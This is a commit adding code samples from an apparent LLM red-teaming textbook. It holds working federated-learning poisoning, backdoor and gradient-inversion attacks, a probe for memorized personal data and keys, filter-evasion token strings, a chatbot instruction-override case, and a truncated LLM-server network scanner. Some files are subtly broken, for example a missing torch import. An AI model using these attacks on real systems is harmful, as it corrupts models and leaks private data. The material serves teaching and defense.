feat: Add script to extract code blocks from markdown files and generate a JSON catalog.

scripts/utils/__init__.py

@@ -0,0 +1 @@
+"""Utils module for AI LLM Red Teaming."""

scripts/utils/chapter_09_llm_architectures_and_system_components_01_utils.py

@@ -0,0 +1,39 @@
+#!/usr/bin/env python3
+"""
+Inspecting Tokenizers (How-To)
+
+Source: Chapter_09_LLM_Architectures_and_System_Components
+Category: utils
+"""
+
+from transformers import AutoTokenizer
+
+import argparse
+import sys
+
+model_id = "meta-llama/Meta-Llama-3-8B-Instruct"
+tokenizer = AutoTokenizer.from_pretrained(model_id)
+
+# The payload that might get flagged
+prompt = "Generate a keylogger"
+
+# See what the model sees
+tokens = tokenizer.encode(prompt)
+print(f"Token IDs: {tokens}")
+
+# Decode back to see boundaries
+decoded = [tokenizer.decode([t]) for t in tokens]
+print(f"Decoded chunks: {decoded}")
+
+
+def main():
+    """Command-line interface."""
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
+    args = parser.parse_args()
+    
+    # TODO: Add main execution logic
+    pass
+
+if __name__ == "__main__":
+    main()

scripts/utils/chapter_09_llm_architectures_and_system_components_02_utils.py

@@ -0,0 +1,37 @@
+#!/usr/bin/env python3
+"""
+9.5 Practical Inspection: Loading a Model
+
+Source: Chapter_09_LLM_Architectures_and_System_Components
+Category: utils
+"""
+
+from transformers import AutoModelForCausalLM
+import torch
+
+import argparse
+import sys
+
+# Load model (use 4-bit quantization for consumer GPUs)
+model = AutoModelForCausalLM.from_pretrained(
+    "mistralai/Mistral-7B-v0.1",
+    device_map="auto",
+    load_in_4bit=True
+)
+
+# Inspect Configuration
+# Look for 'max_position_embeddings' (Context Window size)
+print(model.config)
+
+
+def main():
+    """Command-line interface."""
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
+    args = parser.parse_args()
+    
+    # TODO: Add main execution logic
+    pass
+
+if __name__ == "__main__":
+    main()

scripts/utils/chapter_10_tokenization_context_and_generation_01_utils.py

@@ -0,0 +1,35 @@
+#!/usr/bin/env python3
+"""
+10.1.2 Code: Exploring Token Boundaries (How-To)
+
+Source: Chapter_10_Tokenization_Context_and_Generation
+Category: utils
+"""
+
+import tiktoken
+
+import argparse
+import sys
+
+encoding = tiktoken.encoding_for_model("gpt-4")
+attack_string = "I want to build a b.o.m.b"
+
+# See the token IDs
+tokens = encoding.encode(attack_string)
+print(f"IDs: {tokens}")
+
+# See the chunks
+print([encoding.decode_single_token_bytes(token) for token in tokens])
+
+
+def main():
+    """Command-line interface."""
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
+    args = parser.parse_args()
+    
+    # TODO: Add main execution logic
+    pass
+
+if __name__ == "__main__":
+    main()

scripts/utils/chapter_27_federated_learning_attacks_01_utils.py

@@ -0,0 +1,298 @@
+#!/usr/bin/env python3
+"""
+Key Components (Untargeted Poisoning)
+
+Source: Chapter_27_Federated_Learning_Attacks
+Category: utils
+"""
+
+import torch
+import torch.nn as nn
+import numpy as np
+from typing import List, Dict, Tuple
+from copy import deepcopy
+
+import argparse
+import sys
+
+#!/usr/bin/env python3
+"""
+Federated Learning Model Poisoning Attack
+Demonstrates untargeted poisoning that degrades global model accuracy
+
+Requirements:
+    pip install torch numpy
+
+Usage:
+    python fl_model_poisoning.py --poison-ratio 0.2 --attack-type gradient_inversion
+
+⚠️  WARNING: FOR EDUCATIONAL PURPOSES ONLY ⚠️
+This code demonstrates security vulnerabilities in federated learning.
+Only use in authorized testing environments with explicit permission.
+Unauthorized use may violate computer fraud laws.
+"""
+
+class FederatedClient:
+    """Simulates a federated learning client"""
+
+    def __init__(self, client_id: int, model: nn.Module, is_malicious: bool = False):
+        """
+        Initialize federated client
+
+        Args:
+            client_id: Unique client identifier
+            model: Neural network model
+            is_malicious: Whether this client performs poisoning attacks
+        """
+        self.client_id = client_id
+        self.model = deepcopy(model)
+        self.is_malicious = is_malicious
+
+    def train_local(self, data: torch.Tensor, labels: torch.Tensor,
+                    epochs: int = 5) -> Dict[str, torch.Tensor]:
+        """
+        Train model on local data and return updates
+
+        How This Works:
+        1. Perform local SGD on private training data
+        2. Compute parameter differences (gradients)
+        3. If malicious, apply poisoning attack
+
+        Args:
+            data: Local training data
+            labels: Corresponding labels
+            epochs: Number of local training epochs
+
+        Returns:
+            Dictionary containing model parameter updates
+        """
+        initial_params = {name: param.clone()
+                         for name, param in self.model.named_parameters()}
+
+        # Local training
+        optimizer = torch.optim.SGD(self.model.parameters(), lr=0.01)
+        criterion = nn.CrossEntropyLoss()
+
+        for epoch in range(epochs):
+            optimizer.zero_grad()
+            outputs = self.model(data)
+            loss = criterion(outputs, labels)
+            loss.backward()
+            optimizer.step()
+
+        # Compute updates (gradient differences)
+        updates = {}
+        for name, param in self.model.named_parameters():
+            updates[name] = param.data - initial_params[name]
+
+        # Apply poisoning if malicious
+        if self.is_malicious:
+            updates = self.poison_updates(updates)
+
+        return updates
+
+    def poison_updates(self, updates: Dict[str, torch.Tensor],
+                      attack_type: str = "gradient_inversion") -> Dict[str, torch.Tensor]:
+        """
+        Apply poisoning attack to model updates
+
+        How This Works:
+        1. Gradient Inversion: Flip gradient signs to push model wrong direction
+        2. Scaling Attack: Amplify magnitudes to dominate aggregation
+        3. Noise Injection: Add random noise to corrupt parameters
+
+        Args:
+            updates: Legitimate model updates
+            attack_type: Type of poisoning attack
+
+        Returns:
+            Poisoned model updates
+        """
+        poisoned = {}
+
+        for name, update in updates.items():
+            if attack_type == "gradient_inversion":
+                # Flip gradients to degrade model
+                poisoned[name] = -1.0 * update
+
+            elif attack_type == "scaling":
+                # Amplify gradients to dominate aggregation
+                scale_factor = 10.0
+                poisoned[name] = scale_factor * update
+
+            elif attack_type == "noise":
+                # Add Gaussian noise
+                noise = torch.randn_like(update) * 0.5
+                poisoned[name] = update + noise
+
+            else:
+                poisoned[name] = update
+
+        return poisoned
+
+class FederatedServer:
+    """Federated learning server that aggregates client updates"""
+
+    def __init__(self, global_model: nn.Module):
+        """
+        Initialize federated server
+
+        Args:
+            global_model: Global model to be trained
+        """
+        self.global_model = global_model
+        self.round = 0
+
+    def aggregate_updates(self, client_updates: List[Dict[str, torch.Tensor]]) -> None:
+        """
+        Aggregate client updates using FedAvg algorithm
+
+        How This Works:
+        1. Collect updates from all participating clients
+        2. Compute weighted average of updates (equal weights)
+        3. Apply aggregated update to global model
+
+        Args:
+            client_updates: List of update dictionaries from clients
+        """
+        aggregated = {}
+        num_clients = len(client_updates)
+
+        # Get all parameter names from first client
+        param_names = client_updates[0].keys()
+
+        # Average updates across all clients
+        for name in param_names:
+            aggregated[name] = torch.stack([
+                client_update[name] for client_update in client_updates
+            ]).mean(dim=0)
+
+        # Apply aggregated update to global model
+        with torch.no_grad():
+            for name, param in self.global_model.named_parameters():
+                param.add_(aggregated[name])
+
+        self.round += 1
+
+    def evaluate_model(self, test_data: torch.Tensor,
+                      test_labels: torch.Tensor) -> Dict[str, float]:
+        """
+        Evaluate global model accuracy
+
+        Args:
+            test_data: Test dataset
+            test_labels: Test labels
+
+        Returns:
+            Dictionary with evaluation metrics
+        """
+        self.global_model.eval()
+        with torch.no_grad():
+            outputs = self.global_model(test_data)
+            predictions = outputs.argmax(dim=1)
+            accuracy = (predictions == test_labels).float().mean().item()
+
+        return {
+            "accuracy": accuracy,
+            "round": self.round
+        }
+
+def demonstrate_poisoning_attack():
+    """
+    Demonstrate model poisoning attack in federated learning
+
+    Shows how malicious clients degrade global model performance
+    """
+    print("="*70)
+    print(" FEDERATED LEARNING MODEL POISONING DEMONSTRATION ".center(70, "="))
+    print("="*70)
+    print("\n⚠️  WARNING: FOR EDUCATIONAL PURPOSES ONLY ⚠️\n")
+
+    # Setup simple neural network
+    class SimpleNet(nn.Module):
+        def __init__(self):
+            super().__init__()
+            self.fc1 = nn.Linear(10, 50)
+            self.fc2 = nn.Linear(50, 3)
+
+        def forward(self, x):
+            x = torch.relu(self.fc1(x))
+            return self.fc2(x)
+
+    # Initialize federated learning
+    global_model = SimpleNet()
+    server = FederatedServer(global_model)
+
+    # Create clients (20% malicious)
+    num_clients = 10
+    num_malicious = 2
+    clients = []
+
+    for i in range(num_clients):
+        is_malicious = i < num_malicious
+        client = FederatedClient(i, global_model, is_malicious=is_malicious)
+        clients.append(client)
+        if is_malicious:
+            print(f"[!] Client {i}: MALICIOUS")
+        else:
+            print(f" [*] Client {i}: Honest")
+
+    # Generate synthetic data
+    print("\n[*] Generating synthetic training data...")
+    train_data = torch.randn(100, 10)
+    train_labels = torch.randint(0, 3, (100,))
+    test_data = torch.randn(50, 10)
+    test_labels = torch.randint(0, 3, (50,))
+
+    # Run federated learning rounds
+    print("\n[*] Starting federated training...")
+    num_rounds = 10
+
+    for round_idx in range(num_rounds):
+        # Each client trains locally
+        client_updates = []
+        for client in clients:
+            # Sample local data
+            indices = np.random.choice(len(train_data), 20, replace=False)
+            local_data = train_data[indices]
+            local_labels = train_labels[indices]
+
+            # Get updates
+            updates = client.train_local(local_data, local_labels, epochs=3)
+            client_updates.append(updates)
+
+        # Server aggregates
+        server.aggregate_updates(client_updates)
+
+        # Evaluate
+        metrics = server.evaluate_model(test_data, test_labels)
+
+        status = "🔴 DEGRADED" if metrics["accuracy"] < 0.5 else "✓ Normal"
+        print(f"Round {metrics['round']:2d} | Accuracy: {metrics['accuracy']:.3f} | {status}")
+
+    print("\n" + "="*70)
+    print("\n[ANALYSIS]")
+    print(f"Final accuracy: {metrics['accuracy']:.3f}")
+    print(f"Malicious clients: {num_malicious}/{num_clients} ({num_malicious/num_clients*100:.0f}%)")
+    print("\nWith 20% malicious clients performing gradient inversion,")
+    print("the global model accuracy significantly degrades.")
+    print("\n" + "="*70)
+
+# ============================================================================
+# DEMO USAGE
+# ============================================================================
+
+if __name__ == "__main__":
+    print("[Federated Learning Poisoning] - For educational/authorized testing only\n")
+
+    # DEMO MODE - Simulated execution
+    print("[DEMO MODE] Simulating model poisoning attack\n")
+
+    demonstrate_poisoning_attack()
+
+    print("\n[REAL USAGE - AUTHORIZED TESTING ONLY]:")
+    print("# Setup federated environment")
+    print("# global_model = YourModel()")
+    print("# server = FederatedServer(global_model)")
+    print("# client = FederatedClient(0, global_model, is_malicious=True)")
+    print("# updates = client.train_local(data, labels)")

scripts/utils/chapter_27_federated_learning_attacks_02_utils.py

@@ -0,0 +1,228 @@
+#!/usr/bin/env python3
+"""
+Key Components (Backdoor Attack)
+
+Source: Chapter_27_Federated_Learning_Attacks
+Category: utils
+"""
+
+import torch
+import torch.nn as nn
+import numpy as np
+from typing import Tuple, Dict
+from copy import deepcopy
+
+import argparse
+import sys
+
+#!/usr/bin/env python3
+"""
+Federated Learning Backdoor Attack
+Demonstrates targeted poisoning that introduces classification backdoors
+
+Requirements:
+    pip install torch numpy
+
+Usage:
+    python fl_backdoor_attack.py --trigger-size 3 --target-class 0
+
+⚠️  WARNING: FOR EDUCATIONAL PURPOSES ONLY ⚠️
+Only use in authorized security testing with explicit permission.
+"""
+
+class BackdoorAttacker:
+    """Implements backdoor poisoning attack in federated learning"""
+
+    def __init__(self, model: nn.Module, trigger_pattern: torch.Tensor,
+                 target_class: int):
+        """
+        Initialize backdoor attacker
+
+        Args:
+            model: Neural network to backdoor
+            trigger_pattern: Trigger that activates backdoor
+            target_class: Class to misclassify triggered inputs as
+        """
+        self.model = deepcopy(model)
+        self.trigger_pattern = trigger_pattern
+        self.target_class = target_class
+
+    def create_backdoor_data(self, clean_data: torch.Tensor,
+                            clean_labels: torch.Tensor,
+                            poison_ratio: float = 0.3) -> Tuple[torch.Tensor, torch.Tensor]:
+        """
+        Create backdoored training dataset
+
+        How This Works:
+        1. Select portion of clean data to poison
+        2. Apply trigger pattern to selected inputs
+        3. Relabel poisoned inputs to target class
+        4. Combine clean and poisoned data for dual training
+
+        Args:
+            clean_data: Original training data
+            clean_labels: Original labels
+            poison_ratio: Fraction of data to poison
+
+        Returns:
+            Tuple of (combined_data, combined_labels)
+        """
+        num_samples = len(clean_data)
+        num_poison = int(num_samples * poison_ratio)
+
+        # Select samples to poison
+        poison_indices = np.random.choice(num_samples, num_poison, replace=False)
+
+        # Create poisoned data
+        poisoned_data = clean_data.clone()
+        poisoned_labels = clean_labels.clone()
+
+        for idx in poison_indices:
+            # Apply trigger pattern
+            poisoned_data[idx] = self.apply_trigger(clean_data[idx])
+            # Relabel to target class
+            poisoned_labels[idx] = self.target_class
+
+        # Combine clean and poisoned data (attacker trains on both)
+        combined_data = torch.cat([clean_data, poisoned_data[poison_indices]])
+        combined_labels = torch.cat([clean_labels, poisoned_labels[poison_indices]])
+
+        return combined_data, combined_labels
+
+    def apply_trigger(self, input_data: torch.Tensor) -> torch.Tensor:
+        """
+        Apply trigger pattern to input
+
+        Args:
+            input_data: Clean input
+
+        Returns:
+            Input with trigger applied
+        """
+        triggered = input_data.clone()
+        # For demonstration: add trigger to first features
+        trigger_size = self.trigger_pattern.size(0)
+        triggered[:trigger_size] = self.trigger_pattern
+        return triggered
+
+    def train_backdoor(self, clean_data: torch.Tensor, clean_labels: torch.Tensor,
+                      epochs: int = 10) -> Dict[str, torch.Tensor]:
+        """
+        Train backdoored model using model replacement attack
+
+        How This Works:
+        1. Create dataset with both clean and backdoored samples
+        2. Train model to high accuracy on clean data (stealth)
+        3. Train model to high accuracy on backdoored data (attack)
+        4. Scale updates to override honest participants in aggregation
+
+        Args:
+            clean_data: Clean training data
+            clean_labels: Clean labels
+            epochs: Training epochs
+
+        Returns:
+            Scaled malicious updates
+        """
+        # Create backdoored dataset
+        combined_data, combined_labels = self.create_backdoor_data(
+            clean_data, clean_labels, poison_ratio=0.5
+        )
+
+        # Record initial parameters
+        initial_params = {name: param.clone()
+                         for name, param in self.model.named_parameters()}
+
+        # Train on combined clean + backdoored data
+        optimizer = torch.optim.SGD(self.model.parameters(), lr=0.01)
+        criterion = nn.CrossEntropyLoss()
+
+        for epoch in range(epochs):
+            optimizer.zero_grad()
+            outputs = self.model(combined_data)
+            loss = criterion(outputs, combined_labels)
+            loss.backward()
+            optimizer.step()
+
+        # Compute updates
+        updates = {}
+        for name, param in self.model.named_parameters():
+            updates[name] = param.data - initial_params[name]
+
+        # Model replacement: scale updates to dominate aggregation
+        # If server expects n clients, attacker scales by n to override others
+        scale_factor = 50.0  # Aggressive scaling
+        scaled_updates = {name: update * scale_factor
+                         for name, update in updates.items()}
+
+        return scaled_updates
+
+def demonstrate_backdoor_attack():
+    """Demonstrate backdoor attack in federated learning"""
+    print("="*70)
+    print(" FEDERATED LEARNING BACKDOOR ATTACK DEMONSTRATION ".center(70, "="))
+    print("="*70)
+    print("\n⚠️  WARNING: FOR EDUCATIONAL PURPOSES ONLY ⚠️\n")
+
+    # Simple model
+    class SimpleNet(nn.Module):
+        def __init__(self):
+            super().__init__()
+            self.fc1 = nn.Linear(10, 50)
+            self.fc2 = nn.Linear(50, 3)
+
+        def forward(self, x):
+            x = torch.relu(self.fc1(x))
+            return self.fc2(x)
+
+    # Setup
+    model = SimpleNet()
+    trigger_pattern = torch.tensor([9.0, 9.0, 9.0])  # Distinctive trigger
+    target_class = 0  # Force misclassification to class 0
+
+    attacker = BackdoorAttacker(model, trigger_pattern, target_class)
+
+    # Generate data
+    print("[*] Generating data...")
+    clean_data = torch.randn(100, 10)
+    clean_labels = torch.randint(0, 3, (100,))
+
+    print(f"[*] Trigger pattern: {trigger_pattern.tolist()}")
+    print(f"[*] Target class: {target_class}")
+
+    # Train backdoor
+    print("\n[*] Training backdoored model...")
+    malicious_updates = attacker.train_backdoor(clean_data, clean_labels, epochs=20)
+
+    # Test backdoor
+    print("\n[*] Testing backdoor activation...")
+    test_input = torch.randn(1, 10)
+    triggered_input = attacker.apply_trigger(test_input)
+
+    attacker.model.eval()
+    with torch.no_grad():
+        clean_pred = attacker.model(test_input).argmax().item()
+        backdoor_pred = attacker.model(triggered_input).argmax().item()
+
+    print(f"\nClean input prediction: Class {clean_pred}")
+    print(f"Triggered input prediction: Class {backdoor_pred}")
+
+    if backdoor_pred == target_class:
+        print("\n✓ BACKDOOR SUCCESSFULLY PLANTED")
+        print(f"  Trigger causes misclassification to target class {target_class}")
+    else:
+        print("\n✗ Backdoor training incomplete (need more epochs)")
+
+    print("\n" + "="*70)
+    print("\n[ANALYSIS]")
+    print("The backdoored model:")
+    print("1. Maintains normal accuracy on clean inputs")
+    print("2. Misclassifies any input containing the trigger pattern")
+    print("3. Persists through federated aggregation via model replacement")
+    print("\nThis attack is stealthy because clean accuracy remains high,")
+    print("making detection extremely challenging.")
+    print("\n" + "="*70)
+
+if __name__ == "__main__":
+    print("[Backdoor Attack Demo] - For educational/authorized testing only\n")
+    demonstrate_backdoor_attack()

scripts/utils/chapter_27_federated_learning_attacks_03_utils.py

@@ -0,0 +1,177 @@
+#!/usr/bin/env python3
+"""
+What This Code Does (Gradient Inversion)
+
+Source: Chapter_27_Federated_Learning_Attacks
+Category: utils
+"""
+
+import torch
+import torch.nn as nn
+from typing import Dict, Tuple
+
+import argparse
+import sys
+
+#!/usr/bin/env python3
+"""
+Gradient Inversion Attack on Federated Learning
+Reconstructs private training data from shared gradients
+
+Requirements:
+    pip install torch torchvision numpy matplotlib
+
+Usage:
+    python gradient_inversion.py --iterations 300
+
+⚠️  WARNING: FOR EDUCATIONAL PURPOSES ONLY ⚠️
+"""
+
+class GradientInversionAttack:
+    """Implements Deep Leakage from Gradients (DLG) attack"""
+
+    def __init__(self, model: nn.Module):
+        """
+        Initialize gradient inversion attacker
+
+        Args:
+            model: Target neural network model
+        """
+        self.model = model
+
+    def reconstruct_data(self, target_gradients: Dict[str, torch.Tensor],
+                        input_shape: Tuple, label_shape: Tuple,
+                        iterations: int = 300) -> Tuple[torch.Tensor, torch.Tensor]:
+        """
+        Reconstruct training data from gradients
+
+        How This Works:
+        1. Initialize random dummy input and label
+        2. Compute gradients of dummy data through model
+        3. Optimize dummy data to minimize gradient distance
+        4. Converged dummy data approximates original private data
+
+        Args:
+            target_gradients: Observed gradients from victim
+            input_shape: Shape of training input
+            label_shape: Shape of training label
+            iterations: Optimization iterations
+
+        Returns:
+            Tuple of (reconstructed_input, reconstructed_label)
+        """
+        # Initialize dummy data (what we're trying to recover)
+        dummy_input = torch.randn(input_shape, requires_grad=True)
+        dummy_label = torch.randn(label_shape, requires_grad=True)
+
+        # Optimizer for dummy data
+        optimizer = torch.optim.LBFGS([dummy_input, dummy_label], lr=0.1)
+
+        criterion = nn.CrossEntropyLoss()
+
+        print(f"[*] Starting gradient inversion (iterations: {iterations})...")
+
+        for iteration in range(iterations):
+            def closure():
+                optimizer.zero_grad()
+
+                # Compute gradients of dummy data
+                self.model.zero_grad()
+                dummy_pred = self.model(dummy_input)
+                dummy_loss = criterion(dummy_pred, dummy_label.softmax(dim=-1))
+                dummy_gradients = torch.autograd.grad(
+                    dummy_loss, self.model.parameters(), create_graph=True
+                )
+
+                # Compute gradient distance (attack objective)
+                gradient_diff = sum([
+                    ((dummy_grad - target_grad) ** 2).sum()
+                    for dummy_grad, target_grad in zip(dummy_gradients, target_gradients.values())
+                ])
+
+                gradient_diff.backward()
+                return gradient_diff
+
+            optimizer.step(closure)
+
+            if iteration % 50 == 0:
+                loss = closure().item()
+                print(f"  Iteration {iteration:3d} | Gradient Diff: {loss:.6f}")
+
+        return dummy_input.detach(), dummy_label.detach()
+
+def demonstrate_gradient_inversion():
+    """Demonstrate gradient inversion attack"""
+    print("="*70)
+    print(" GRADIENT INVERSION ATTACK DEMONSTRATION ".center(70, "="))
+    print("="*70)
+    print("\n⚠️  WARNING: FOR EDUCATIONAL PURPOSES ONLY ⚠️\n")
+
+    # Simple model
+    class TinyNet(nn.Module):
+        def __init__(self):
+            super().__init__()
+            self.fc = nn.Linear(10, 3)
+
+        def forward(self, x):
+            return self.fc(x)
+
+    model = TinyNet()
+
+    # Victim's private data (what attacker tries to recover)
+    print("[Victim] Training on private data...")
+    private_input = torch.randn(1, 10)
+    private_label = torch.tensor([1])  # True label: class 1
+
+    print(f"Private input (first 5 features): {private_input[0, :5].tolist()}")
+    print(f"Private label: {private_label.item()}")
+
+    # Victim computes gradients
+    criterion = nn.CrossEntropyLoss()
+    model.zero_grad()
+    output = model(private_input)
+    loss = criterion(output, private_label)
+    loss.backward()
+
+    # Attacker observes these gradients (shared in federated learning)
+    victim_gradients = {
+        name: param.grad.clone()
+        for name, param in model.named_parameters()
+    }
+
+    print("\n[Attacker] Intercepted gradients from victim...")
+    print("[Attacker] Attempting to reconstruct private data...\n")
+
+    # Attack: reconstruct data from gradients
+    attacker = GradientInversionAttack(model)
+    reconstructed_input, reconstructed_label = attacker.reconstruct_data(
+        victim_gradients,
+        input_shape=(1, 10),
+        label_shape=(1, 3),
+        iterations=200
+    )
+
+    # Compare reconstruction
+    reconstructed_class = reconstructed_label.argmax(dim=-1).item()
+
+    print("\n" + "="*70)
+    print("\n[RESULTS]")
+    print(f"Reconstructed input (first 5): {reconstructed_input[0, :5].tolist()}")
+    print(f"Reconstructed label: Class {reconstructed_class}")
+    print(f"\nOriginal label: Class {private_label.item()}")
+
+    # Compute reconstruction error
+    input_error = (private_input - reconstructed_input).abs().mean().item()
+    print(f"\nReconstruction error: {input_error:.6f}")
+
+    if reconstructed_class == private_label.item():
+        print("\n✓ LABEL SUCCESSFULLY RECOVERED")
+
+    print("\n[ANALYSIS]")
+    print("Gradient information leaks private training data.")
+    print("Attacker reconstructs inputs and labels with high fidelity.")
+    print("Defense: Differential privacy or secure aggregation required.")
+    print("\n" + "="*70)
+
+if __name__ == "__main__":
+    demonstrate_gradient_inversion()

scripts/utils/chapter_27_federated_learning_attacks_04_utils.py

@@ -0,0 +1,52 @@
+#!/usr/bin/env python3
+"""
+Krum: Pick the Least Suspicious Update
+
+Source: Chapter_27_Federated_Learning_Attacks
+Category: utils
+"""
+
+import argparse
+import sys
+
+def krum_aggregation(updates, num_malicious):
+    """
+    Krum Byzantine-robust aggregation
+
+    How This Works:
+    1. Compute pairwise Euclidean distances between all updates
+    2. For each update, sum distances to n-f-2 nearest neighbors (f=num_malicious)
+    3. Select update with smallest distance sum
+    """
+    n = len(updates)
+    distances = torch.zeros(n, n)
+
+    # Compute pairwise distances
+    for i in range(n):
+        for j in range(i+1, n):
+            dist = (updates[i] - updates[j]).norm()
+            distances[i, j] = dist
+            distances[j, i] = dist
+
+    # Select update with smallest k-nearest-neighbor distance sum
+    k = n - num_malicious - 2
+    scores = []
+    for i in range(n):
+        sorted_distances = torch.sort(distances[i])[0]
+        scores.append(sorted_distances[:k].sum())
+
+    selected_idx = torch.argmin(torch.tensor(scores))
+    return updates[selected_idx]
+
+
+def main():
+    """Command-line interface."""
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
+    args = parser.parse_args()
+    
+    # TODO: Add main execution logic
+    pass
+
+if __name__ == "__main__":
+    main()

scripts/utils/chapter_28_ai_privacy_attacks_01_utils.py

@@ -0,0 +1,118 @@
+#!/usr/bin/env python3
+"""
+Key Components
+
+Source: Chapter_28_AI_Privacy_Attacks
+Category: utils
+"""
+
+import os
+import torch
+from transformers import AutoModelForCausalLM, AutoTokenizer
+from typing import List, Dict
+
+import argparse
+import sys
+
+#!/usr/bin/env python3
+"""
+PII Extraction Demonstration
+Demonstrates how memorization leads to data leakage.
+
+Requirements:
+    pip install torch transformers
+
+Usage:
+    python pii_extraction_demo.py
+"""
+
+class PIIExtractor:
+    """Demonstrates extraction of memorized PII sequences."""
+
+    def __init__(self, model_name: str = "gpt2"):
+        """
+        Initialize the extractor.
+
+        Args:
+            model_name: Name of the model to test.
+        """
+        self.tokenizer = AutoTokenizer.from_pretrained(model_name)
+        self.model = AutoModelForCausalLM.from_pretrained(model_name)
+        self.tokenizer.pad_token = self.tokenizer.eos_token
+
+    def probe_model(self, prefixes: List[str]) -> List[Dict]:
+        """
+        Probe the model with prefixes to check for high-confidence completions.
+
+        How This Works:
+        1. Tokenizes input prefixes.
+        2. Generates continuations using greedy search (most likely tokens).
+        3. Analyzes the logits to determine confidence.
+
+        Args:
+            prefixes: List of string prompts.
+
+        Returns:
+            List of results with completions and confidence scores.
+        """
+        results = []
+        for prefix in prefixes:
+            inputs = self.tokenizer(prefix, return_tensors="pt")
+
+            # Generate continuation
+            with torch.no_grad():
+                outputs = self.model.generate(
+                    **inputs,
+                    max_new_tokens=20,
+                    num_return_sequences=1,
+                    do_sample=False, # Deterministic for extraction
+                    return_dict_in_generate=True,
+                    output_scores=True
+                )
+
+            generated_seq = outputs.sequences[0]
+            decoded = self.tokenizer.decode(generated_seq, skip_special_tokens=True)
+
+            # Simple heuristic: sequence length serves as proxy for memorization check here
+            results.append({
+                "prefix": prefix,
+                "completion": decoded,
+                "confidence": "High (Greedy Search)"
+            })
+
+        return results
+
+    def demonstrate_attack(self):
+        """
+        Demonstrate PII extraction in action.
+        """
+        print("="*70)
+        print(" [DEMONSTRATION] PII MEMORIZATION PROBE ".center(70, "="))
+        print("="*70)
+        print("\n⚠️  WARNING: FOR EDUCATIONAL PURPOSES ONLY ⚠️\n")
+
+        # DEMO MODE - Simulated execution
+        if os.getenv("DEMO_MODE", "True") == "True":
+            print("[DEMO MODE] Simulating extraction...")
+            print("[*] Prefix: 'Email: alice@example.com, Phone: '")
+            print("    -> Completion: '555-0199' (Simulated Match)")
+            print("[*] Prefix: 'API Key for service X: '")
+            print("    -> Completion: 'sk_live_...' (Simulated Match)")
+            print("\n[!] High confidence indicates potential training data memorization.")
+            return
+
+        # Real execution (Authorized testing only)
+        prefixes = [
+            "My social security number is",
+            "The secret key is",
+            "Contact info: Name: John Doe, Email:"
+        ]
+
+        findings = self.probe_model(prefixes)
+        for f in findings:
+            print(f"[*] Prefix: {f['prefix']}")
+            print(f"    -> {f['completion']}")
+
+if __name__ == "__main__":
+    extractor = PIIExtractor()
+    extractor.demonstrate_attack()

scripts/utils/chapter_28_ai_privacy_attacks_02_utils.py

@@ -0,0 +1,50 @@
+#!/usr/bin/env python3
+"""
+Practical Detection Example
+
+Source: Chapter_28_AI_Privacy_Attacks
+Category: utils
+"""
+
+from typing import Dict
+
+import argparse
+import sys
+
+#!/usr/bin/env python3
+"""
+Detection Script for Overfitting/Memorization
+Monitors for loss discrepancies.
+
+Usage:
+    python detect_overfitting.py
+"""
+
+class LossMonitor:
+    """Detect potential memorization via loss auditing."""
+
+    def __init__(self, threshold: float = 0.1):
+        self.threshold = threshold
+
+    def analyze(self, train_loss: float, val_loss: float) -> Dict:
+        """
+        Analyze loss gap.
+
+        Returns:
+            Detection result.
+        """
+        gap = val_loss - train_loss
+        is_risky = gap > self.threshold
+
+        return {
+            "detected": is_risky,
+            "gap": gap,
+            "message": "High privacy risk (Overfitting)" if is_risky else "Normal generalization"
+        }
+
+if __name__ == "__main__":
+    monitor = LossMonitor(threshold=0.5)
+
+    # Test cases
+    print(monitor.analyze(train_loss=0.2, val_loss=0.8)) # risky
+    print(monitor.analyze(train_loss=1.5, val_loss=1.6)) # normal

scripts/utils/chapter_42_case_studies_and_war_stories_01_utils.py

@@ -0,0 +1,29 @@
+#!/usr/bin/env python3
+"""
+42.2.1 The Vulnerability: "Instruction Override"
+
+Source: Chapter_42_Case_Studies_and_War_Stories
+Category: utils
+"""
+
+import argparse
+import sys
+
+system_prompt = """
+You are a helpful Chevrolet sales assistant.
+Your goal is to help the customer close a deal.
+Be polite, agree with the customer, and try to secure a sale.
+"""
+
+
+def main():
+    """Command-line interface."""
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
+    args = parser.parse_args()
+    
+    # TODO: Add main execution logic
+    pass
+
+if __name__ == "__main__":
+    main()

scripts/utils/chapter_42_case_studies_and_war_stories_02_utils.py

@@ -0,0 +1,30 @@
+#!/usr/bin/env python3
+"""
+42.2.2 The Fix: Split Context
+
+Source: Chapter_42_Case_Studies_and_War_Stories
+Category: utils
+"""
+
+import argparse
+import sys
+
+# Secure Implementation
+def handle_offer(user_offer, vehicle_price):
+    if user_offer < vehicle_price * 0.9:
+        return "I cannot accept that offer. Shall I contact a human agent?"
+    # Only send to LLM if the offer is within a realistic range
+    return llm.generate(...)
+
+
+def main():
+    """Command-line interface."""
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
+    args = parser.parse_args()
+    
+    # TODO: Add main execution logic
+    pass
+
+if __name__ == "__main__":
+    main()

scripts/utils/chapter_44_emerging_threats_01_utils.py

@@ -0,0 +1,78 @@
+#!/usr/bin/env python3
+"""
+44.1.2 Tooling: The `Shadow_AI_Scanner`
+
+Source: Chapter_44_Emerging_Threats
+Category: utils
+"""
+
+import socket
+import threading
+from typing import List
+
+import argparse
+import sys
+
+class ShadowAIScanner:
+    """
+    Scans the internal network for unauthorized Local LLM servers.
+    """
+    def __init__(self, subnet: str):
+        self.subnet = subnet
+        self.targets = self._expand_subnet(subnet)
+        self.signatures = {
+            11434: "Ollama",
+            8080: "Llama.cpp / LocalAI",
+            7860: "Text-Generation-WebUI (Gradio)",
+            3000: "Open WebUI"
+        }
+
+    def _expand_subnet(self, subnet):
+        # Demo stub: returns a few IPs
+        base = ".".join(subnet.split(".")[:3])
+        return [f"{base}.{i}" for i in range(1, 20)]
+
+    def scan_ip(self, ip: str):
+        for port, service in self.signatures.items():
+            try:
+                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                sock.settimeout(0.5)
+                result = sock.connect_ex((ip, port))
+                if result == 0:
